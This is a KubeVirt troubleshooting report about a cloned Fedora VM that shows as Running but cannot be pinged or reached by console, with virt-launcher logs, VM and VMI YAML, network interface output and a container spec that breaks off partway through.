VM - console unavailable, no IP

What happened:
Method used:
I used a CDI import, which was then used to create a 'custom template vm', which was successful, and then cloned to create a VM - retaining the datavolume to use as an immutable object in the future from which to clone more versions.  I have tried both NFS and iscsi backed storage.  Both have the same result - which is a VM that appears to be running but is not pingable and cannot be console'd to
Baremetal cluster - 6 nodes
*** Please note - ignore any discrepancies in RAM.  I tried one last attempt to keep the RAM consistent between the 'Template' version and the 'VM' version - reasoning that perhaps the 'change' the logs are complaining about is the resized RAM.  This change did not 'fix' or 'resolve' the issue.
CDI used to upload Fedora-Cloud-Base-Generic.x86_64-40-1.14.qcow2 to a NFS PVC
default     nfs-upload-pvc-golden   Bound    csi-521dedfdcc   220Gi          RWO            dc99-kn01-kubevirt-test
'Template' PVC and VMI created
default     nfs-vmi-golden          Bound    csi-4b980f44ae   50Gi           RWX            dc99-kn01-kubevirt-test
'Template' vmi came up fine
NAMESPACE   NAME         AGE   PHASE     IP             NODENAME                READY
default     golden-vmi   19s   Running   <IP_ADDRESS>   xxxx-xxx-xxx-xxx        True
'Template' vmi was pingable
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=63 time=0.396 ms
64 bytes from <IP_ADDRESS>: icmp_seq=2 ttl=63 time=1.43 ms
'Template' vmi was able to receive a virt console and shutdown successfully
[  127.260893] systemd-shutdown[1]: All filesystems unmounted.
[  127.262425] systemd-shutdown[1]: Deactivating swaps.
[  127.263573] systemd-shutdown[1]: All swaps deactivated.
[  127.264736] systemd-shutdown[1]: Detaching loop devices.
[  127.267454] systemd-shutdown[1]: All loop devices detached.
[  127.268671] systemd-shutdown[1]: Stopping MD devices.
[  127.269897] systemd-shutdown[1]: All MD devices stopped.
[  127.271057] systemd-shutdown[1]: Detaching DM devices.
[  127.272304] systemd-shutdown[1]: All DM devices detached.
[  127.273470] systemd-shutdown[1]: All filesystems, swaps, loop devices, MD devices and DM devices detached.
[  127.287215] systemd-shutdown[1]: Syncing filesystems and block devices.
[  127.288833] systemd-shutdown[1]: Powering off.
[  127.302423] ACPI: PM: Preparing to enter system sleep state S5
[  127.305086] kvm: exiting hardware virtualization
[  127.306085] reboot: Power down
'Template' VMI was removed
kubectl delete vm golden-vmi --cascade=orphan
'VM' PVC created to house the final 'customized vm'
default     nfs-golden              Bound    csi-9873bf66d7   30Gi           RWX            dc99-kn01-kubevirt-test
'VM' came up - had ip assigned:
NAMESPACE   NAME        AGE   PHASE     IP             NODENAME                READY
default     golden-vm   90m   Running   <IP_ADDRESS>   xxxxxxxxxxxxxxxxxx   True
'VM' Cannot be pinged:
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
From <IP_ADDRESS> icmp_seq=1 Destination Host Unreachable
From <IP_ADDRESS> icmp_seq=2 Destination Host Unreachable
From <IP_ADDRESS> icmp_seq=3 Destination Host Unreachable
'VM' cannot be console'd to:
Successfully connected to golden-vm console. The escape sequence is ^] (it hangs here)
'VM virt launcher logs show nothing of consequence that I see
{"component":"virt-launcher","kind":"","level":"info","msg":"Domain defined.","name":"golden-vm","namespace":"default","pos":"manager.go:1076","timestamp":"2024-05-08T07:05:52.147294Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
{"component":"virt-launcher","level":"info","msg":"DomainLifecycle event Domain event="defined" detail="updated" with event id 0 reason 1 received","pos":"client.go:470","timestamp":"2024-05-08T07:05:52.147302Z"}
{"component":"virt-launcher","level":"info","msg":"kubevirt domain status: Shutoff(5):Unknown(0)","pos":"client.go:297","timestamp":"2024-05-08T07:05:52.148894Z"}
{"component":"virt-launcher","level":"info","msg":"Domain name event: default_golden-vm","pos":"client.go:424","timestamp":"2024-05-08T07:05:52.149681Z"}
{"component":"virt-launcher","level":"info","msg":"generated nocloud iso file /var/run/kubevirt-ephemeral-disks/cloud-init-data/default/golden-vm/noCloud.iso","pos":"cloud-init.go:690","timestamp":"2024-05-08T07:05:52.255019Z"}
{"component":"virt-launcher","level":"info","msg":"GuestAgentLifecycle event state 2 with reason 1 received","pos":"client.go:546","timestamp":"2024-05-08T07:05:52.605270Z"}
{"component":"virt-launcher","level":"info","msg":"kubevirt domain status: Paused(3):StartingUp(11)","pos":"client.go:297","timestamp":"2024-05-08T07:05:52.607196Z"}
{"component":"virt-launcher","level":"info","msg":"Domain name event: default_golden-vm","pos":"client.go:424","timestamp":"2024-05-08T07:05:52.608353Z"}
{"component":"virt-launcher","level":"info","msg":"2024-05-08 07:05:52.273+0000: starting up libvirt version: 9.5.0, package: 6.el9<EMAIL_ADDRESS>2023-08-25-08:53:56, ), qemu version: 8.0.0qemu-kvm-8.0.0-13.el9, kernel: 5.15.0-200.131.27.el8uek.x86_64, hostname: golden-vm","subcomponent":"qemu","timestamp":"2024-05-08T07:05:52.699688Z"}
{"component":"virt-launcher","level":"info","msg":"LC_ALL=C \PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin \HOME=/home/qemu \XDG_CACHE_HOME=/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_golden-vm/.cache \/usr/libexec/qemu-kvm \-name guest=default_golden-vm,debug-threads=on \-S \-object '{"qom-type":"secret","id":"masterKey0","format":"raw","file":"/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_golden-vm/master-key.aes"}' \-machine pc-q35-rhel9.2.0,usb=off,dump-guest-core=off,memory-backend=pc.ram,acpi=on \-accel kvm \-cpu SandyBridge-IBRS,vme=on,ss=on,vmx=on,pdcm=on,pcid=on,hypervisor=on,arat=on,tsc-adjust=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaveopt=on,pdpe1gb=on,ibpb=on,ibrs=on,amd-stibp=on,amd-ssbd=on,skip-l1dfl-vmentry=on,pschange-mc-no=on \-m size=2097152k \-object '{"qom-type":"memory-backend-ram","id":"pc.ram","size":2147483648}' \-overcommit mem-lock=off \-smp 1,sockets=1,dies=1,cores=1,threads=1 \-object '{"qom-type":"iothread","id":"iothread1"}' \-uuid ebc6ef06-93f5-53cc-ac52-9ca8c0ff8f87 \-smbios type=1,manufacturer=KubeVirt,product=None,uuid=ebc6ef06-93f5-53cc-ac52-9ca8c0ff8f87,family=KubeVirt \-no-user-config \-nodefaults \-chardev socket,id=charmonitor,fd=20,server=on,wait=off \-mon chardev=charmonitor,id=monitor,mode=control \-rtc base=utc \-no-shutdown \-boot strict=on \-device '{"driver":"pcie-root-port","port":16,"chassis":1,"id":"pci.1","bus":"pcie.0","multifunction":true,"addr":"0x2"}' \-device '{"driver":"pcie-root-port","port":17,"chassis":2,"id":"pci.2","bus":"pcie.0","addr":"0x2.0x1"}' \-device '{"driver":"pcie-root-port","port":18,"chassis":3,"id":"pci.3","bus":"pcie.0","addr":"0x2.0x2"}' \-device '{"driver":"pcie-root-port","port":19,"chassis":4,"id":"pci.4","bus":"pcie.0","addr":"0x2.0x3"}' \-device '{"driver":"pcie-root-port","port":20,"chassis":5,"id":"pci.5","bus":"pcie.0","addr":"0x2.0x4"}' \-device '{"driver":"pcie-root-port","port":21,"chassis":6,"id":"pci.6","bus":"pcie.0","addr":"0x2.0x5"}' \-device '{"driver":"pcie-root-port","port":22,"chassis":7,"id":"pci.7","bus":"pcie.0","addr":"0x2.0x6"}' \-device '{"driver":"pcie-root-port","port":23,"chassis":8,"id":"pci.8","bus":"pcie.0","addr":"0x2.0x7"}' \-device '{"driver":"pcie-root-port","port":24,"chassis":9,"id":"pci.9","bus":"pcie.0","multifunction":true,"addr":"0x3"}' \-device '{"driver":"pcie-root-port","port":25,"chassis":10,"id":"pci.10","bus":"pcie.0","addr":"0x3.0x1"}' \-device '{"driver":"virtio-scsi-pci-non-transitional","id":"scsi0","bus":"pci.5","addr":"0x0"}' \-device '{"driver":"virtio-serial-pci-non-transitional","id":"virtio-serial0","bus":"pci.6","addr":"0x0"}' \-blockdev '{"driver":"file","filename":"/var/run/kubevirt-private/vmi-disks/datadisk1/disk.img","node-name":"libvirt-2-storage","cache":{"direct":true,"no-flush":false},"auto-read-only":true,"discard":"unmap"}' \-blockdev '{"node-name":"libvirt-2-format","read-only":false,"discard":"unmap","cache":{"direct":true,"no-flush":false},"driver":"raw","file":"libvirt-2-storage"}' \-device '{"driver":"virtio-blk-pci-non-transitional","bus":"pci.7","addr":"0x0","drive":"libvirt-2-format","id":"ua-datadisk1","bootindex":1,"write-cache":"on","werror":"stop","rerror":"stop"}' \-blockdev '{"driver":"file","filename":"/var/run/kubevirt-ephemeral-disks/cloud-init-data/default/golden-vm/noCloud.iso","node-name":"libvirt-1-storage","cache":{"direct":true,"no-flush":false},"auto-read-only":true,"discard":"unmap"}' \-blockdev '{"node-name":"libvirt-1-format","read-only":false,"discard":"unmap","cache":{"direct":true,"no-flush":false},"driver":"raw","file":"libvirt-1-storage"}' \-device '{"driver":"virtio-blk-pci-non-transitional","bus":"pci.8","addr":"0x0","drive":"libvirt-1-format","id":"ua-cloudinitdisk","write-cache":"on","werror":"stop","rerror":"stop"}' \-netdev '{"type":"tap","fd":"21","vhost":true,"vhostfd":"23","id":"hostua-default"}' \-device '{"driver":"virtio-net-pci-non-transitional","host_mtu":1500,"netdev":"hostua-default","id":"ua-default","mac":"96:a6:59:28:f5:0a","bus":"pci.1","addr":"0x0","romfile":""}' \-add-fd set=0,fd=19,opaque=serial0-log \-chardev socket,id=charserial0,fd=17,server=on,wait=off,logfile=/dev/fdset/0,logappend=on \-device '{"driver":"isa-serial","chardev":"charserial0","id":"serial0","index":0}' \-chardev socket,id=charchannel0,fd=18,server=on,wait=off \-device '{"driver":"virtserialport","bus":"virtio-serial0.0","nr":1,"chardev":"charchannel0","id":"channel0","name":"org.qemu.guest_agent.0"}' \-audiodev '{"id":"audio1","driver":"none"}' \-vnc vnc=unix:/var/run/kubevirt-private/a1ad85ce-d8eb-4667-aa11-921164d47ab5/virt-vnc,audiodev=audio1 \-device '{"driver":"VGA","id":"video0","vgamem_mb":16,"bus":"pcie.0","addr":"0x1"}' \-global ICH9-LPC.noreboot=off \-watchdog-action reset \-device '{"driver":"virtio-balloon-pci-non-transitional","id":"balloon0","free-page-reporting":true,"bus":"pci.9","addr":"0x0"}' \-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \-msg timestamp=on","subcomponent":"qemu","timestamp":"2024-05-08T07:05:52.699858Z"}
{"component":"virt-launcher","level":"info","msg":"Found PID for default_golden-vm: 81","pos":"monitor.go:170","timestamp":"2024-05-08T07:05:53.102142Z"}
{"component":"virt-launcher","level":"info","msg":"DomainLifecycle event Domain event="resumed" detail="unpaused" with event id 4 reason 0 received","pos":"client.go:470","timestamp":"2024-05-08T07:05:53.286268Z"}
{"component":"virt-launcher","level":"info","msg":"DomainLifecycle event Domain event="started" detail="booted" with event id 2 reason 0 received","pos":"client.go:470","timestamp":"2024-05-08T07:05:53.306451Z"}
{"component":"virt-launcher","kind":"","level":"info","msg":"Domain started.","name":"golden-vm","namespace":"default","pos":"manager.go:1104","timestamp":"2024-05-08T07:05:53.330105Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
{"component":"virt-launcher","kind":"","level":"info","msg":"Synced vmi","name":"golden-vm","namespace":"default","pos":"server.go:208","timestamp":"2024-05-08T07:05:53.331583Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
{"component":"virt-launcher","level":"info","msg":"kubevirt domain status: Running(1):Unknown(1)","pos":"client.go:297","timestamp":"2024-05-08T07:05:53.331779Z"}
{"component":"virt-launcher","level":"info","msg":"Domain name event: default_golden-vm","pos":"client.go:424","timestamp":"2024-05-08T07:05:53.333085Z"}
{"component":"virt-launcher","level":"info","msg":"kubevirt domain status: Running(1):Unknown(1)","pos":"client.go:297","timestamp":"2024-05-08T07:05:53.334834Z"}
{"component":"virt-launcher","level":"info","msg":"Domain name event: default_golden-vm","pos":"client.go:424","timestamp":"2024-05-08T07:05:53.335783Z"}
{"component":"virt-launcher","kind":"","level":"info","msg":"Synced vmi","name":"golden-vm","namespace":"default","pos":"server.go:208","timestamp":"2024-05-08T07:05:53.437396Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
{"component":"virt-launcher","kind":"","level":"info","msg":"Synced vmi","name":"golden-vm","namespace":"default","pos":"server.go:208","timestamp":"2024-05-08T07:05:53.585936Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
{"component":"virt-launcher","kind":"","level":"info","msg":"Synced vmi","name":"golden-vm","namespace":"default","pos":"server.go:208","timestamp":"2024-05-08T07:05:53.688700Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
{"component":"virt-launcher","kind":"","level":"info","msg":"Synced vmi","name":"golden-vm","namespace":"default","pos":"server.go:208","timestamp":"2024-05-08T07:08:44.157984Z","uid":"a1ad85ce-d8eb-4667-aa11-921164d47ab5"}
'VM' virt controller logs indicate that there was a change to the VM - this is the only error I could find
virt controller logs
{"component":"virt-controller","kind":"","level":"error","msg":"Updating the VirtualMachine status failed.","name":"golden-vm","namespace":"default","pos":"vm.go:386","reason":"Operation cannot be fulfilled on virtualmachines.kubevirt.io "golden-vm": the object has been modified; please apply your changes to the latest version and try again","timestamp":"2024-05-08T07:05:43.716306Z","uid":"c2a910d4-2c34-42b9-9537-2d06b42148e8"}
{"component":"virt-controller","level":"info","msg":"re-enqueuing VirtualMachine default/golden-vm","pos":"vm.go:280","reason":"Operation cannot be fulfilled on virtualmachines.kubevirt.io "golden-vm": the object has been modified; please apply your changes to the latest version and try again","timestamp":"2024-05-08T07:05:43.716341Z"}
kubectl get vm,vmi golden-vm -o yaml
apiVersion: v1
items:

apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
annotations:
kubevirt.io/latest-observed-api-version: v1
kubevirt.io/storage-observed-api-version: v1
creationTimestamp: "2024-05-08T07:15:14Z"
finalizers:

kubevirt.io/virtualMachineControllerFinalize
generation: 1
labels:
kubevirt.io/vm: golden-vm
name: golden-vm
namespace: default
resourceVersion: "28814922"
uid: 811be8fe-46d8-4beb-87b0-03106ed22dce
spec:
dataVolumeTemplates:
metadata:
creationTimestamp: null
name: nfs-golden
spec:
pvc:
accessModes:
- ReadWriteMany
resources:
requests:
storage: 30Gi
source:
pvc:
name: nfs-vmi-golden
namespace: default
running: true
template:
metadata:
creationTimestamp: null
labels:
kubevirt.io/vm: golden-vm
spec:
architecture: amd64
domain:
devices:
disks:
- disk:
bus: virtio
name: datadisk1
- disk:
bus: virtio
name: cloudinitdisk
machine:
type: q35
resources:
requests:
memory: 1Gi
terminationGracePeriodSeconds: 0
volumes:

dataVolume:
name: nfs-golden
name: datadisk1
cloudInitNoCloud:
userData: |
# add any custom logic you want to occur on startup here.
echo “cloud-init script execution"
name: cloudinitdisk
status:
conditions:

lastProbeTime: null
lastTransitionTime: "2024-05-08T07:15:12Z"
status: "True"
type: Ready
lastProbeTime: null
lastTransitionTime: null
status: "True"
type: Initialized
lastProbeTime: null
lastTransitionTime: null
message: cannot migrate VMI which does not use masquerade, bridge with kubevirt.io/allow-pod-bridge-network-live-migration
VM annotation or a migratable plugin to connect to the pod network
reason: InterfaceNotLiveMigratable
status: "False"
type: LiveMigratable
created: true
desiredGeneration: 1
observedGeneration: 1
printableStatus: Running
ready: true
volumeSnapshotStatuses:
enabled: false
name: datadisk1
reason: 'No VolumeSnapshotClass: Volume snapshots are not configured for this
StorageClass [dc99-kn01-kubevirt-test] [datadisk1]'
enabled: false
name: cloudinitdisk
reason: Snapshot is not supported for this volumeSource type [cloudinitdisk]

apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
annotations:
kubevirt.io/latest-observed-api-version: v1
kubevirt.io/storage-observed-api-version: v1
kubevirt.io/vm-generation: "1"
creationTimestamp: "2024-05-08T07:15:14Z"
finalizers:

kubevirt.io/virtualMachineControllerFinalize
foregroundDeleteVirtualMachine
generation: 9
labels:
kubevirt.io/nodeName: xxxxxxxxxxxxxxxxxx
kubevirt.io/vm: golden-vm
name: golden-vm
namespace: default
ownerReferences:
apiVersion: kubevirt.io/v1
blockOwnerDeletion: true
controller: true
kind: VirtualMachine
name: golden-vm
uid: 811be8fe-46d8-4beb-87b0-03106ed22dce
resourceVersion: "28814923"
uid: e7ef236d-cdda-4213-8fb9-abf07a8c282d
spec:
architecture: amd64
domain:
cpu:
cores: 1
model: host-model
sockets: 1
threads: 1
devices:
disks:

disk:
bus: virtio
name: datadisk1
disk:
bus: virtio
name: cloudinitdisk
interfaces:
bridge: {}
name: default
features:
acpi:
enabled: true
firmware:
uuid: ebc6ef06-93f5-53cc-ac52-9ca8c0ff8f87
machine:
type: q35
resources:
requests:
memory: 1Gi
evictionStrategy: None
networks:

name: default
pod: {}
terminationGracePeriodSeconds: 0
volumes:
dataVolume:
name: nfs-golden
name: datadisk1
cloudInitNoCloud:
userData: |
# add any custom logic you want to occur on startup here.
echo “cloud-init script execution"
name: cloudinitdisk
status:
activePods:
3b36bea7-253c-43d6-93da-bc170475f34b: dc99-cb1-knw-003.dc99
conditions:
lastProbeTime: null
lastTransitionTime: "2024-05-08T07:15:12Z"
status: "True"
type: Ready
lastProbeTime: null
lastTransitionTime: null
message: cannot migrate VMI which does not use masquerade, bridge with kubevirt.io/allow-pod-bridge-network-live-migration
VM annotation or a migratable plugin to connect to the pod network
reason: InterfaceNotLiveMigratable
status: "False"
type: LiveMigratable
currentCPUTopology:
cores: 1
sockets: 1
threads: 1
guestOSInfo: {}
interfaces:
infoSource: domain
ipAddress: <IP_ADDRESS>
ipAddresses:

<IP_ADDRESS>
mac: fe:20:ae:53:bf:ab
name: default
queueCount: 1
launcherContainerImageVersion: quay.io/kubevirt/virt-launcher:v1.2.0
machine:
type: pc-q35-rhel9.2.0
memory:
guestCurrent: 1Gi
migrationMethod: BlockMigration
migrationTransport: Unix
nodeName: dc99-cb1-knw-003.dc99
phase: Running
phaseTransitionTimestamps:

phase: Pending
phaseTransitionTimestamp: "2024-05-08T07:15:00Z"
phase: Scheduling
phaseTransitionTimestamp: "2024-05-08T07:15:00Z"
phase: Scheduled
phaseTransitionTimestamp: "2024-05-08T07:15:12Z"
phase: Running
phaseTransitionTimestamp: "2024-05-08T07:15:16Z"
qosClass: Burstable
runtimeUser: 107
selinuxContext: none
virtualMachineRevisionName: revision-start-vm-811be8fe-46d8-4beb-87b0-03106ed22dce-1
volumeStatus:
name: cloudinitdisk
size: 1048576
target: vdb
name: datadisk1
persistentVolumeClaimInfo:
accessModes:

ReadWriteMany
capacity:
storage: 30Gi
filesystemOverhead: "0.055"
requests:
storage: 30Gi
volumeMode: Filesystem
target: vda
kind: List
metadata:
resourceVersion: ""

Looking at the container - the interface has the correct IP but it is down - Container and OS are accessible and functioning
sh-5.1$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet <IP_ADDRESS>/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0-nic@if305: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master k6t-eth0 state UP group default qlen 1000
link/ether d2:dd:cd:84:dc:1f brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::d0dd:cdff:fe84:dc1f/64 scope link
valid_lft forever preferred_lft forever
3: k6t-eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 0a:bc:f1:d3:ec:48 brd ff:ff:ff:ff:ff:ff
inet <IP_ADDRESS>/32 scope global k6t-eth0
valid_lft forever preferred_lft forever
inet6 fe80::d0dd:cdff:fe84:dc1f/64 scope link
valid_lft forever preferred_lft forever
4: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master k6t-eth0 state UP group default qlen 1000
link/ether 0a:bc:f1:d3:ec:48 brd ff:ff:ff:ff:ff:ff
inet6 fe80::8bc:f1ff:fed3:ec48/64 scope link
valid_lft forever preferred_lft forever
5: eth0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether fe:20:ae:53:bf:ab brd ff:ff:ff:ff:ff:ff
inet <IP_ADDRESS>/32 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::fc20:aeff:fe53:bfab/64 scope link
valid_lft forever preferred_lft forever
Container info:
{
"ID": "5706a3b744fbbb078886134f1eb9725a217b1a64c0907dd9ab3c90482f6a4543",
"Labels": {
"io.cri-containerd.kind": "container",
"io.kubernetes.container.name": "compute",
"io.kubernetes.pod.name": "virt-launcher-golden-vm-s7n4k",
"io.kubernetes.pod.namespace": "default",
"io.kubernetes.pod.uid": "3b36bea7-253c-43d6-93da-bc170475f34b"
},
"Image": "quay.io/kubevirt/virt-launcher:v1.2.0",
"Runtime": {
"Name": "io.containerd.runc.v2",
"Options": {
"type_url": "containerd.runc.v1.Options",
"value": "MhMvdXNyL2xvY2FsL2Jpbi9ydW5jSAE="
}
},
"SnapshotKey": "5706a3b744fbbb078886134f1eb9725a217b1a64c0907dd9ab3c90482f6a4543",
"Snapshotter": "overlayfs",
"CreatedAt": "2024-05-08T07:15:11.976247642Z",
"UpdatedAt": "2024-05-08T07:15:11.976247642Z",
"Extensions": {
"io.cri-containerd.container.metadata": {
"type_url": "github.com/containerd/cri/pkg/store/container/Metadata",
"value": "[encoded data, 6452 characters]"
}
},
"SandboxID": "",
"Spec": {
"ociVersion": "1.1.0",
"process": {
"user": {
"uid": 107,
"gid": 107,
"additionalGids": [
107
]
},
"args": [
"/usr/bin/virt-launcher-monitor",
"--qemu-timeout",
"355s",
"--name",
"golden-vm",
"--uid",
"e7ef236d-cdda-4213-8fb9-abf07a8c282d",
"--namespace",
"default",
"--kubevirt-share-dir",
"/var/run/kubevirt",
"--ephemeral-disk-dir",
"/var/run/kubevirt-ephemeral-disks",
"--container-disk-dir",
"/var/run/kubevirt/container-disks",
"--grace-period-seconds",
"15",
"--hook-sidecars",
"0",
"--ovmf-path",
"/usr/share/OVMF",
"--run-as-nonroot"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOSTNAME=golden-vm",
"XDG_CACHE_HOME=/var/run/kubevirt-private",
"XDG_CONFIG_HOME=/var/run/kubevirt-private",
"XDG_RUNTIME_DIR=/var/run",
"POD_NAME=virt-launcher-golden-vm-s7n4k",
"KUBERNETES_SERVICE_PORT_HTTPS=443",
"KUBERNETES_PORT=tcp://<IP_ADDRESS>:443",
"KUBERNETES_PORT_443_TCP=tcp://<IP_ADDRESS>:443",
"KUBERNETES_PORT_443_TCP_PROTO=tcp",
"KUBERNETES_PORT_443_TCP_PORT=443",
"KUBERNETES_PORT_443_TCP_ADDR=<IP_ADDRESS>",
"KUBERNETES_SERVICE_HOST=<IP_ADDRESS>",
"KUBERNETES_SERVICE_PORT=443"
],
"cwd": "/",
"capabilities": {
"bounding": [
"CAP_NET_BIND_SERVICE"
],
"effective": [
"CAP_NET_BIND_SERVICE"
],
"permitted": [
"CAP_NET_BIND_SERVICE"
]
},
"rlimits": [
{
"type": "RLIMIT_NOFILE",
"hard": 65535,
"soft": 65535
}
],
"noNewPrivileges": true,
"oomScoreAdj": 991
},
"root": {
"path": "rootfs"
},
"mounts": [
{
"destination": "/proc",
"type": "proc",
"source": "proc",
"options": [
"nosuid",
"noexec",
"nodev"
]
},
{
"destination": "/dev",
"type": "tmpfs",
"source": "tmpfs",
"options": [
"nosuid",
"strictatime",
"mode=755",
"size=65536k"
]
},
{
"destination": "/dev/pts",
"type": "devpts",
"source": "devpts",
"options": [
"nosuid",
"noexec",
"newinstance",
"ptmxmode=0666",
"mode=0620",
"gid=5"
]
},
{
"destination": "/dev/mqueue",
"type": "mqueue",
"source": "mqueue",
"options": [
"nosuid",
"noexec",
"nodev"
]
},
{
"destination": "/sys",
"type": "sysfs",
"source": "sysfs",
"options": [
"nosuid",
"noexec",
"nodev",
"ro"
]
},
{
"destination": "/sys/fs/cgroup",
"type": "cgroup",
"source": "cgroup",
"options": [
"nosuid",
"noexec",
"nodev",
"relatime",
"ro"
]
},
{
"destination": "/etc/hosts",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/etc-hosts",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/dev/termination-log",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/containers/compute/1a396a36",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/etc/hostname",
"type": "bind",
"source": "/var/lib/containerd/io.containerd.grpc.v1.cri/sandboxes/d7ad675f6f5d6fb7fc888a3c9df1fd2db1d1a3d2fe52a241b115b58e2171cc70/hostname",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/etc/resolv.conf",
"type": "bind",
"source": "/var/lib/containerd/io.containerd.grpc.v1.cri/sandboxes/d7ad675f6f5d6fb7fc888a3c9df1fd2db1d1a3d2fe52a241b115b58e2171cc70/resolv.conf",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/dev/shm",
"type": "bind",
"source": "/run/containerd/io.containerd.grpc.v1.cri/sandboxes/d7ad675f6f5d6fb7fc888a3c9df1fd2db1d1a3d2fe52a241b115b58e2171cc70/shm",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/var/run/kubevirt-private",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/private",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/var/run/kubevirt",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/public",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/var/run/kubevirt-ephemeral-disks",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/ephemeral-disks",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/var/run/libvirt",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/libvirt-runtime",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/var/run/kubevirt/container-disks",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/container-disks",
"options": [
"rbind",
"rslave",
"rw"
]
},
{
"destination": "/var/run/kubevirt/sockets",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/sockets",
"options": [
"rbind",
"rprivate",
"rw"
]
},
{
"destination": "/var/run/kubevirt/hotplug-disks",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~empty-dir/hotplug-disks",
"options": [
"rbind",
"rslave",
"rw"
]
},
{
"destination": "/var/run/kubevirt-private/vmi-disks/datadisk1",
"type": "bind",
"source": "/var/lib/kubelet/pods/3b36bea7-253c-43d6-93da-bc170475f34b/volumes/kubernetes.io~csi/csi-30ac556694/mount",
"options": [
"rbind",
"rprivate",
"rw"
]
}
],
"annotations": {
"io.kubernetes.cri.container-name": "compute",
"io.kubernetes.cri.container-type": "container",
"io.kubernetes.cri.image-name": "quay.io/kubevirt/virt-launcher:v1.2.0",
"io.kubernetes.cri.sandbox-id": "d7ad675f6f5d6fb7fc888a3c9df1fd2db1d1a3d2fe52a241b115b58e2171cc70",
"io.kubernetes.cri.sandbox-name": "virt-launcher-golden-vm-s7n4k",
"io.kubernetes.cri.sandbox-namespace": "default",
"io.kubernetes.cri.sandbox-uid": "3b36bea7-253c-43d6-93da-bc170475f34b"
},
"linux": {
"resources": {
"devices": [
{
"allow": false,
"access": "rwm"
},
{
"allow": true,
"type": "c",
"major": 10,
"minor": 232,
"access": "rw"
},
{
"allow": true,
"type": "c",
"major": 10,
"minor": 200,
"access": "rw"
},
{
"allow": true,
"type": "c",
"major": 10,
"minor": 238,
"access": "rw"
}
],
"memory": {},
"cpu": {
"shares": 102,
"period": 100000
}
},
"cgroupsPath": "kubepods-burstable-pod3b36bea7_253c_43d6_93da_bc170475f34b.slice:cri-containerd:5706a3b744fbbb078886134f1eb9725a217b1a64c0907dd9ab3c90482f6a4543",
"namespaces": [
{
"type": "pid"
},
{
"type": "ipc",
"path": "/proc/177000/ns/ipc"
},
{
"type": "uts",
"path": "/proc/177000/ns/uts"
},
{
"type": "mount"
},
{
"type": "network",
"path": "/proc/177000/ns/net"
}
],
"devices": [
{
"path": "/dev/kvm",
"type": "c",
"major": 10,
"minor": 232,
"fileMode": 438,
"uid": 107,
"gid": 107
},
{
"path": "/dev/net/tun",
"type": "c",
"major": 10,
"minor": 200,
"fileMode": 438,
"uid": 107,
"gid": 107
},
{
"path": "/dev/vhost-net",
"type": "c",
"major": 10,
"minor": 238,
"fileMode": 384,
"uid": 107,
"gid": 107
}
],
"rootfsPropagation": "rslave",
"maskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"readonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
